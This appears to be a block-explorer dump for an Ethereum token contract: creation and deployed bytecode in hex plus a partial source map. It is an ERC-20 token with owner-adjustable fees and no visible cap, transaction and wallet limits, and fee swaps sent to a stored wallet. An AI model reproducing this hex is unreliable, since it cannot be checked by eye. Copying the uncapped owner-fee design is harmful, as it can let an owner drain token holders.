c257505f6200069c565b8160018114620009db5760028114620009e65762000a06565b60019150506200069c565b60ff841115620009fa57620009fa62000948565b50506001821b6200069c565b5060208310610133831016604e8410600b841016171562000a2b575081810a6200069c565b62000a3783836200095c565b805f190482111562000a4d5762000a4d62000948565b029392505050565b5f6200069960ff841683620009a4565b80820281158282048414176200069c576200069c62000948565b5f6020828403121562000a90575f80fd5b81516001600160a01b038116811462000699575f80fd5b5f8262000ac257634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200069c576200069c62000948565b5f6020808352835180828501525f5b8181101562000b0a5785810183015185820160400152820162000aec565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a051611cc362000b5a5f395f81816103bd0152610a9c01525f81816104cc0152610ad60152611cc35ff3fe608060405260043610610368575f3560e01c806388790a68116101c8578063c867d60b116100fd578063f2fde38b1161009d578063f97083671161006d578063f970836714610373578063f9af6ab214610373578063fad2701b14610945578063fcd4fa1f14610964575f80fd5b8063f2fde38b146108d2578063f680f799146108f1578063f738097314610906578063f872858a14610925575f80fd5b8063da00097d116100d8578063da00097d14610844578063dc44b6a014610864578063dd62ed3e14610879578063f0cd1dac146108bd575f80fd5b8063c867d60b14610801578063d2d7ad831461082f578063d9f25fe214610373575f80fd5b8063a9059cbb11610168578063b4f40c6111610143578063b4f40c61146107a3578063c5d24189146107b8578063c816841b146107cd578063c8607952146107ec575f80fd5b8063a9059cbb14610746578063ad69489e14610765578063b115e4df14610784575f80fd5b80638da5cb5b116101a35780638da5cb5b146106d857806395d89b41146106f457806398e944c814610708578063a457c2d714610727575f80fd5b806388790a68146106805780638b42507f146106955780638b56459b146106c3575f80fd5b8063313ce5671161029e5780635c68bb301161023e578063715018a611610219578063715018a61461062d5780637d1db4a514610641578063807c2d9c1461065657806382eefb431461066b575f80fd5b80635c68bb3014610373578063682e684c1461037357806370a08231146105f9575f80fd5b8063513da4f511610279578063513da4f5146105825780635194f9bf146105975780635342acb4146105ac5780635930d0e0146105da575f80fd5b8063313ce5671461051457806339509351146105355780633ecad27114610554575f80fd5b80632258f5501161030957806327c8f835116102e457806327c8f835146104bb5780632b112e49146104ee5780632d5710b21461037357806330fd373314610502575f80fd5b80632258f5501461037357806323555d571461048757806323b872dd1461049c575f80fd5b8063095ea7b311610344578063095ea7b3146103f75780630f16f01d146104265780631694505e1461044a57806318160ddd14610469575f80fd5b80622fed7b1461037357806306fdde03146103825780630930907b146103ac575f80fd5b3661036f57005b5f80fd5b34801561037e575f80fd5b505b005b34801561038d575f80fd5b50610396610983565b6040516103a39190611969565b60405180910390f35b3480156103b7575f80fd5b506103df7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103a3565b348015610402575f80fd5b506104166104113660046119cb565b610a13565b60405190151581526020016103a3565b348015610431575f80fd5b506003546103df9061010090046001600160a01b031681565b348015610455575f80fd5b506013546103df906001600160a01b031681565b348015610474575f80fd5b50600f545b6040519081526020016103a3565b348015610492575f80fd5b5061047960175481565b3480156104a7575f80fd5b506104166104b63660046119f5565b610a29565b3480156104c6575f80fd5b506103df7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104f9575f80fd5b50610479610a92565b34801561050d575f80fd5b505f610479565b34801561051f575f80fd5b5060035460405160ff90911681526020016103a3565b348015610540575f80fd5b5061041661054f3660046119cb565b610b23565b34801561055f575f80fd5b5061041661056e366004611a33565b600c6020525f908152604090205460ff1681565b34801561058d575f80fd5b50610479601c5481565b3480156105a2575f80fd5b50610479601a5481565b3480156105b7575f80fd5b506104166105c6366004611a33565b600b6020525f908152604090205460ff1681565b3480156105e5575f80fd5b506103806105f4366004611a4e565b610b58565b348015610604575f80fd5b50610479610613366004611a33565b6001600160a01b03165f9081526006602052604090205490565b348015610638575f80fd5b50610380610bb5565b34801561064c575f80fd5b5061047960115481565b348015610661575f80fd5b5061047960125481565b348015610676575f80fd5b50610479601f5481565b34801561068b575f80fd5b5061047960185481565b3480156106a0575f80fd5b506104166106af366004611a33565b600e6020525f908152604090205460ff1681565b3480156106ce575f80fd5b50610479601b5481565b3480156106e3575f80fd5b505f546001600160a01b03166103df565b3480156106ff575f80fd5b50610396610c2c565b348015610713575f80fd5b506005546103df906001600160a01b031681565b348015610732575f80fd5b506104166107413660046119cb565b610c3b565b348015610751575f80fd5b506104166107603660046119cb565b610c88565b348015610770575f80fd5b5061038061077f366004611a77565b610c94565b34801561078f575f80fd5b506004546103df906001600160a01b031681565b3480156107ae575f80fd5b50610479601d5481565b3480156107c3575f80fd5b5061047960165481565b3480156107d8575f80fd5b506014546103df906001600160a01b031681565b3480156107f7575f80fd5b5061047960195481565b34801561080c575f80fd5b5061041661081b366004611a33565b600d6020525f908152604090205460ff1681565b34801561083a575f80fd5b5061047960105481565b34801561084f575f80fd5b5060145461041690600160a81b900460ff1681565b34801561086f575f80fd5b5061047960155481565b348015610884575f80fd5b50610479610893366004611a8e565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156108c8575f80fd5b50610479601e5481565b3480156108dd575f80fd5b506103806108ec366004611a33565b610cc2565b3480156108fc575f80fd5b5061047960085481565b348015610911575f80fd5b50610479610920366004611a77565b610da9565b348015610930575f80fd5b5060145461041690600160b01b900460ff1681565b348015610950575f80fd5b5061038061095f366004611a4e565b610dbf565b34801561096f575f80fd5b5061038061097e366004611a77565b610e0d565b60606001805461099290611ac5565b80601f01602080910402602001604051908101604052809291908181526020018280546109be90611ac5565b8015610a095780601f106109e057610100808354040283529160200191610a09565b820191905f5260205f20905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b5f610a1f338484610e3b565b5060015b92915050565b5f610a35848484610f5e565b50610a878433610a8285604051806060016040528060288152602001611c41602891396001600160a01b038a165f908152600760209081526040808320338452909152902054919061144a565b610e3b565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f90815260066020526040812054610b1e90610b18610b0f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526006602052604090205490565b600f5490611482565b90611482565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610a1f918590610a8290866114c3565b5f546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190611afd565b60405180910390fd5b60188390556019829055601a819055610bad81610ba785856114c3565b906114c3565b601f55505050565b5f546001600160a01b03163314610bde5760405162461bcd60e51b8152600401610b8190611afd565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b60606002805461099290611ac5565b5f610a1f3384610a8285604051806060016040528060258152602001611c6960259139335f9081526007602090815260408083206001600160a01b038d168452909152902054919061144a565b5f610a87338484610f5e565b5f546001600160a01b03163314610cbd5760405162461bcd60e51b8152600401610b8190611afd565b601255565b5f546001600160a01b03163314610ceb5760405162461bcd60e51b8152600401610b8190611afd565b6001600160a01b038116610d505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b60098160028110610db8575f80fd5b0154905081565b5f546001600160a01b03163314610de85760405162461bcd60e51b8152600401610b8190611afd565b601583905560168290556017819055610e0581610ba785856114c3565b601e55505050565b5f546001600160a01b03163314610e365760405162461bcd60e51b8152600401610b8190611afd565b601155565b6001600160a01b038316610e9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610fc35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b81565b6001600160a01b0383166110255760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b81565b601454600160a01b900460ff161561104957611042848484611521565b9050610a8b565b6001600160a01b0384165f908152600e602052604090205460ff1615801561108957506001600160a01b0383165f908152600e602052604090205460ff16155b156110f1576011548211156110f15760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610b81565b305f908152600660205260409020546010548110801590819061111e5750601454600160a01b900460ff16155b801561114257506001600160a01b0386165f908152600c602052604090205460ff16155b1561116857601454600160a81b900460ff161561115f5760105491505b61116882611604565b601454600160b01b900460ff16801561119957506001600160a01b0385165f908152600d602052604090205460ff16155b1561123e576012546111e26111c56103e86111bf601f548961169e90919063ffffffff16565b9061171c565b6001600160a01b0388165f90815260066020526040902054610ba7565b111561123e5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610b81565b6112596103e86111bf601f548761169e90919063ffffffff16565b600955601f54611272906103e8906111bf90879061169e565b61127c9085611b5a565b600a556001600160a01b0386165f908152600e602052604081205460ff1615806112be57506001600160a01b0386165f908152600e602052604090205460ff16155b8061130157506001600160a01b0386165f908152600c602052604090205460ff168061130157506001600160a01b0387165f908152600c602052604090205460ff165b15611323576065601b5f8282546113189190611b6d565b909155506113439050565b6072601b5f8282546113359190611b6d565b90915550611343905061175d565b61134e816001611b6d565b601c5f82825461135e9190611b6d565b90915550506001600160a01b0387165f908152600660205260409020546113859086611482565b6001600160a01b0388165f9081526006602052604080822092909255600954308252919020546113b4916114c3565b305f9081526006602052604080822092909255600a546001600160a01b0389168252919020546113e3916114c3565b6001600160a01b038088165f8181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114369089815260200190565b60405180910390a360019350505050610a8b565b5f818484111561146d5760405162461bcd60e51b8152600401610b819190611969565b505f6114798486611b5a565b95945050505050565b5f610a8b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144a565b5f806114cf8385611b6d565b905083811015610a8b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461157191849061144a565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461159f90836114c3565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f29086815260200190565b60405180910390a35060019392505050565b6014805460ff60a01b1916600160a01b179055607d601b5561162581611794565b601b544790611635906001611b6d565b601c5f8282546116459190611b6d565b9091555050801561168d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561168b573d5f803e3d5ffd5b505b50506014805460ff60a01b19169055565b5f825f036116ad57505f610a23565b5f6116b88385611b80565b9050826116c58583611b97565b14610a8b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b5f610a8b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061193d565b601c5461176b906011611b6d565b601c556b060ad6b9c04b5631d40673fc60095f015f82825461178d9190611b6d565b9091555050565b601b8054601c55601190556040805160028082526060820183525f92602083019080368337019050509050606460095f015f8282546117d39190611b6d565b9091555050601b546117e6906020611b6d565b600a80545f906117f7908490611b6d565b9091555050601354604080516315ab88c960e31b815290516001600160a01b039092169163ad5c4648916004808201926020929091908290030181865afa158015611844573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118689190611bb6565b8160018151811061187b5761187b611b32565b60200260200101906001600160a01b031690816001600160a01b03168152505030815f815181106118ae576118ae611b32565b6001600160a01b0392831660209182029290920101526013546118d49130911684610e3b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061190c9085905f90869030904290600401611bd1565b5f604051808303815f87803b158015611923575f80fd5b505af1158015611935573d5f803e3d5ffd5b505050505050565b5f818361195d5760405162461bcd60e51b8152600401610b819190611969565b505f6114798486611b97565b5f6020808352835180828501525f5b8181101561199457858101830151858201604001528201611978565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119c8575f80fd5b50565b5f80604083850312156119dc575f80fd5b82356119e7816119b4565b946020939093013593505050565b5f805f60608486031215611a07575f80fd5b8335611a12816119b4565b92506020840135611a22816119b4565b929592945050506040919091013590565b5f60208284031215611a43575f80fd5b8135610a8b816119b4565b5f805f60608486031215611a60575f80fd5b505081359360208301359350604090920135919050565b5f60208284031215611a87575f80fd5b5035919050565b5f8060408385031215611a9f575f80fd5b8235611aaa816119b4565b91506020830135611aba816119b4565b809150509250929050565b600181811c90821680611ad957607f821691505b602082108103611af757634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a2357610a23611b46565b80820180821115610a2357610a23611b46565b8082028115828204841417610a2357610a23611b46565b5f82611bb157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611bc6575f80fd5b8151610a8b816119b4565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c1f5784516001600160a01b031683529383019391830191600101611bfa565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122009cf007c9f26657b879ca663b7273d3e31e08eabd0926ff09926acdd47b62c2564736f6c63430008150033
Deployed Bytecode
0x608060405260043610610368575f3560e01c806388790a68116101c8578063c867d60b116100fd578063f2fde38b1161009d578063f97083671161006d578063f970836714610373578063f9af6ab214610373578063fad2701b14610945578063fcd4fa1f14610964575f80fd5b8063f2fde38b146108d2578063f680f799146108f1578063f738097314610906578063f872858a14610925575f80fd5b8063da00097d116100d8578063da00097d14610844578063dc44b6a014610864578063dd62ed3e14610879578063f0cd1dac146108bd575f80fd5b8063c867d60b14610801578063d2d7ad831461082f578063d9f25fe214610373575f80fd5b8063a9059cbb11610168578063b4f40c6111610143578063b4f40c61146107a3578063c5d24189146107b8578063c816841b146107cd578063c8607952146107ec575f80fd5b8063a9059cbb14610746578063ad69489e14610765578063b115e4df14610784575f80fd5b80638da5cb5b116101a35780638da5cb5b146106d857806395d89b41146106f457806398e944c814610708578063a457c2d714610727575f80fd5b806388790a68146106805780638b42507f146106955780638b56459b146106c3575f80fd5b8063313ce5671161029e5780635c68bb301161023e578063715018a611610219578063715018a61461062d5780637d1db4a514610641578063807c2d9c1461065657806382eefb431461066b575f80fd5b80635c68bb3014610373578063682e684c1461037357806370a08231146105f9575f80fd5b8063513da4f511610279578063513da4f5146105825780635194f9bf146105975780635342acb4146105ac5780635930d0e0146105da575f80fd5b8063313ce5671461051457806339509351146105355780633ecad27114610554575f80fd5b80632258f5501161030957806327c8f835116102e457806327c8f835146104bb5780632b112e49146104ee5780632d5710b21461037357806330fd373314610502575f80fd5b80632258f5501461037357806323555d571461048757806323b872dd1461049c575f80fd5b8063095ea7b311610344578063095ea7b3146103f75780630f16f01d146104265780631694505e1461044a57806318160ddd14610469575f80fd5b80622fed7b1461037357806306fdde03146103825780630930907b146103ac575f80fd5b3661036f57005b5f80fd5b34801561037e575f80fd5b505b005b34801561038d575f80fd5b50610396610983565b6040516103a39190611969565b60405180910390f35b3480156103b7575f80fd5b506103df7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103a3565b348015610402575f80fd5b506104166104113660046119cb565b610a13565b60405190151581526020016103a3565b348015610431575f80fd5b506003546103df9061010090046001600160a01b031681565b348015610455575f80fd5b506013546103df906001600160a01b031681565b348015610474575f80fd5b50600f545b6040519081526020016103a3565b348015610492575f80fd5b5061047960175481565b3480156104a7575f80fd5b506104166104b63660046119f5565b610a29565b3480156104c6575f80fd5b506103df7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104f9575f80fd5b50610479610a92565b34801561050d575f80fd5b505f610479565b34801561051f575f80fd5b5060035460405160ff90911681526020016103a3565b348015610540575f80fd5b5061041661054f3660046119cb565b610b23565b34801561055f575f80fd5b5061041661056e366004611a33565b600c6020525f908152604090205460ff1681565b34801561058d575f80fd5b50610479601c5481565b3480156105a2575f80fd5b50610479601a5481565b3480156105b7575f80fd5b506104166105c6366004611a33565b600b6020525f908152604090205460ff1681565b3480156105e5575f80fd5b506103806105f4366004611a4e565b610b58565b348015610604575f80fd5b50610479610613366004611a33565b6001600160a01b03165f9081526006602052604090205490565b348015610638575f80fd5b50610380610bb5565b34801561064c575f80fd5b5061047960115481565b348015610661575f80fd5b5061047960125481565b348015610676575f80fd5b50610479601f5481565b34801561068b575f80fd5b5061047960185481565b3480156106a0575f80fd5b506104166106af366004611a33565b600e6020525f908152604090205460ff1681565b3480156106ce575f80fd5b50610479601b5481565b3480156106e3575f80fd5b505f546001600160a01b03166103df565b3480156106ff575f80fd5b50610396610c2c565b348015610713575f80fd5b506005546103df906001600160a01b031681565b348015610732575f80fd5b506104166107413660046119cb565b610c3b565b348015610751575f80fd5b506104166107603660046119cb565b610c88565b348015610770575f80fd5b5061038061077f366004611a77565b610c94565b34801561078f575f80fd5b506004546103df906001600160a01b031681565b3480156107ae575f80fd5b50610479601d5481565b3480156107c3575f80fd5b5061047960165481565b3480156107d8575f80fd5b506014546103df906001600160a01b031681565b3480156107f7575f80fd5b5061047960195481565b34801561080c575f80fd5b5061041661081b366004611a33565b600d6020525f908152604090205460ff1681565b34801561083a575f80fd5b5061047960105481565b34801561084f575f80fd5b5060145461041690600160a81b900460ff1681565b34801561086f575f80fd5b5061047960155481565b348015610884575f80fd5b50610479610893366004611a8e565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156108c8575f80fd5b50610479601e5481565b3480156108dd575f80fd5b506103806108ec366004611a33565b610cc2565b3480156108fc575f80fd5b5061047960085481565b348015610911575f80fd5b50610479610920366004611a77565b610da9565b348015610930575f80fd5b5060145461041690600160b01b900460ff1681565b348015610950575f80fd5b5061038061095f366004611a4e565b610dbf565b34801561096f575f80fd5b5061038061097e366004611a77565b610e0d565b60606001805461099290611ac5565b80601f01602080910402602001604051908101604052809291908181526020018280546109be90611ac5565b8015610a095780601f106109e057610100808354040283529160200191610a09565b820191905f5260205f20905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b5f610a1f338484610e3b565b5060015b92915050565b5f610a35848484610f5e565b50610a878433610a8285604051806060016040528060288152602001611c41602891396001600160a01b038a165f908152600760209081526040808320338452909152902054919061144a565b610e3b565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f90815260066020526040812054610b1e90610b18610b0f7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f9081526006602052604090205490565b600f5490611482565b90611482565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610a1f918590610a8290866114c3565b5f546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190611afd565b60405180910390fd5b60188390556019829055601a819055610bad81610ba785856114c3565b906114c3565b601f55505050565b5f546001600160a01b03163314610bde5760405162461bcd60e51b8152600401610b8190611afd565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b60606002805461099290611ac5565b5f610a1f3384610a8285604051806060016040528060258152602001611c6960259139335f9081526007602090815260408083206001600160a01b038d168452909152902054919061144a565b5f610a87338484610f5e565b5f546001600160a01b03163314610cbd5760405162461bcd60e51b8152600401610b8190611afd565b601255565b5f546001600160a01b03163314610ceb5760405162461bcd60e51b8152600401610b8190611afd565b6001600160a01b038116610d505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b60098160028110610db8575f80fd5b0154905081565b5f546001600160a01b03163314610de85760405162461bcd60e51b8152600401610b8190611afd565b601583905560168290556017819055610e0581610ba785856114c3565b601e55505050565b5f546001600160a01b03163314610e365760405162461bcd60e51b8152600401610b8190611afd565b601155565b6001600160a01b038316610e9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610fc35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b81565b6001600160a01b0383166110255760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b81565b601454600160a01b900460ff161561104957611042848484611521565b9050610a8b565b6001600160a01b0384165f908152600e602052604090205460ff1615801561108957506001600160a01b0383165f908152600e602052604090205460ff16155b156110f1576011548211156110f15760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610b81565b305f908152600660205260409020546010548110801590819061111e5750601454600160a01b900460ff16155b801561114257506001600160a01b0386165f908152600c602052604090205460ff16155b1561116857601454600160a81b900460ff161561115f5760105491505b61116882611604565b601454600160b01b900460ff16801561119957506001600160a01b0385165f908152600d602052604090205460ff16155b1561123e576012546111e26111c56103e86111bf601f548961169e90919063ffffffff16565b9061171c565b6001600160a01b0388165f90815260066020526040902054610ba7565b111561123e5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610b81565b6112596103e86111bf601f548761169e90919063ffffffff16565b600955601f54611272906103e8906111bf90879061169e565b61127c9085611b5a565b600a556001600160a01b0386165f908152600e602052604081205460ff1615806112be57506001600160a01b0386165f908152600e602052604090205460ff16155b8061130157506001600160a01b0386165f908152600c602052604090205460ff168061130157506001600160a01b0387165f908152600c602052604090205460ff165b15611323576065601b5f8282546113189190611b6d565b909155506113439050565b6072601b5f8282546113359190611b6d565b90915550611343905061175d565b61134e816001611b6d565b601c5f82825461135e9190611b6d565b90915550506001600160a01b0387165f908152600660205260409020546113859086611482565b6001600160a01b0388165f9081526006602052604080822092909255600954308252919020546113b4916114c3565b305f9081526006602052604080822092909255600a546001600160a01b0389168252919020546113e3916114c3565b6001600160a01b038088165f8181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114369089815260200190565b60405180910390a360019350505050610a8b565b5f818484111561146d5760405162461bcd60e51b8152600401610b819190611969565b505f6114798486611b5a565b95945050505050565b5f610a8b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144a565b5f806114cf8385611b6d565b905083811015610a8b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461157191849061144a565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461159f90836114c3565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f29086815260200190565b60405180910390a35060019392505050565b6014805460ff60a01b1916600160a01b179055607d601b5561162581611794565b601b544790611635906001611b6d565b601c5f8282546116459190611b6d565b9091555050801561168d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561168b573d5f803e3d5ffd5b505b50506014805460ff60a01b19169055565b5f825f036116ad57505f610a23565b5f6116b88385611b80565b9050826116c58583611b97565b14610a8b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b5f610a8b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061193d565b601c5461176b906011611b6d565b601c556b060ad6b9c04b5631d40673fc60095f015f82825461178d9190611b6d565b9091555050565b601b8054601c55601190556040805160028082526060820183525f92602083019080368337019050509050606460095f015f8282546117d39190611b6d565b9091555050601b546117e6906020611b6d565b600a80545f906117f7908490611b6d565b9091555050601354604080516315ab88c960e31b815290516001600160a01b039092169163ad5c4648916004808201926020929091908290030181865afa158015611844573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118689190611bb6565b8160018151811061187b5761187b611b32565b60200260200101906001600160a01b031690816001600160a01b03168152505030815f815181106118ae576118ae611b32565b6001600160a01b0392831660209182029290920101526013546118d49130911684610e3b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061190c9085905f90869030904290600401611bd1565b5f604051808303815f87803b158015611923575f80fd5b505af1158015611935573d5f803e3d5ffd5b505050505050565b5f818361195d5760405162461bcd60e51b8152600401610b819190611969565b505f6114798486611b97565b5f6020808352835180828501525f5b8181101561199457858101830151858201604001528201611978565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119c8575f80fd5b50565b5f80604083850312156119dc575f80fd5b82356119e7816119b4565b946020939093013593505050565b5f805f60608486031215611a07575f80fd5b8335611a12816119b4565b92506020840135611a22816119b4565b929592945050506040919091013590565b5f60208284031215611a43575f80fd5b8135610a8b816119b4565b5f805f60608486031215611a60575f80fd5b505081359360208301359350604090920135919050565b5f60208284031215611a87575f80fd5b5035919050565b5f8060408385031215611a9f575f80fd5b8235611aaa816119b4565b91506020830135611aba816119b4565b809150509250929050565b600181811c90821680611ad957607f821691505b602082108103611af757634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a2357610a23611b46565b80820180821115610a2357610a23611b46565b8082028115828204841417610a2357610a23611b46565b5f82611bb157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611bc6575f80fd5b8151610a8b816119b4565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c1f5784516001600160a01b031683529383019391830191600101611bfa565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122009cf007c9f26657b879ca663b7273d3e31e08eabd0926ff09926acdd47b62c2564736f6c63430008150033
Deployed Bytecode Sourcemap
11767:11811:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17185:37;;;;;;;;;;;;;15840:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12297:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;12297:81:0;567:203:1;18380:161:0;;;;;;;;;;-1:-1:-1;18380:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;18380:161:0;1231:187:1;11968:96:0;;;;;;;;;;-1:-1:-1;11968:96:0;;;;;;;-1:-1:-1;;;;;11968:96:0;;;13139:41;;;;;;;;;;-1:-1:-1;13139:41:0;;;;-1:-1:-1;;;;;13139:41:0;;;16117:100;;;;;;;;;;-1:-1:-1;16197:12:0;;16117:100;;;2028:25:1;;;2016:2;2001:18;16117:100:0;1882:177:1;13442:35:0;;;;;;;;;;;;;;;;19608:313;;;;;;;;;;-1:-1:-1;19608:313:0;;;;;:::i;:::-;;:::i;12209:81::-;;;;;;;;;;;;;;;19027:156;;;;;;;;;;;;;:::i;17004:54::-;;;;;;;;;;-1:-1:-1;17041:7:0;17004:54;;16026:83;;;;;;;;;;-1:-1:-1;16092:9:0;;16026:83;;16092:9;;;;2667:36:1;;2655:2;2640:1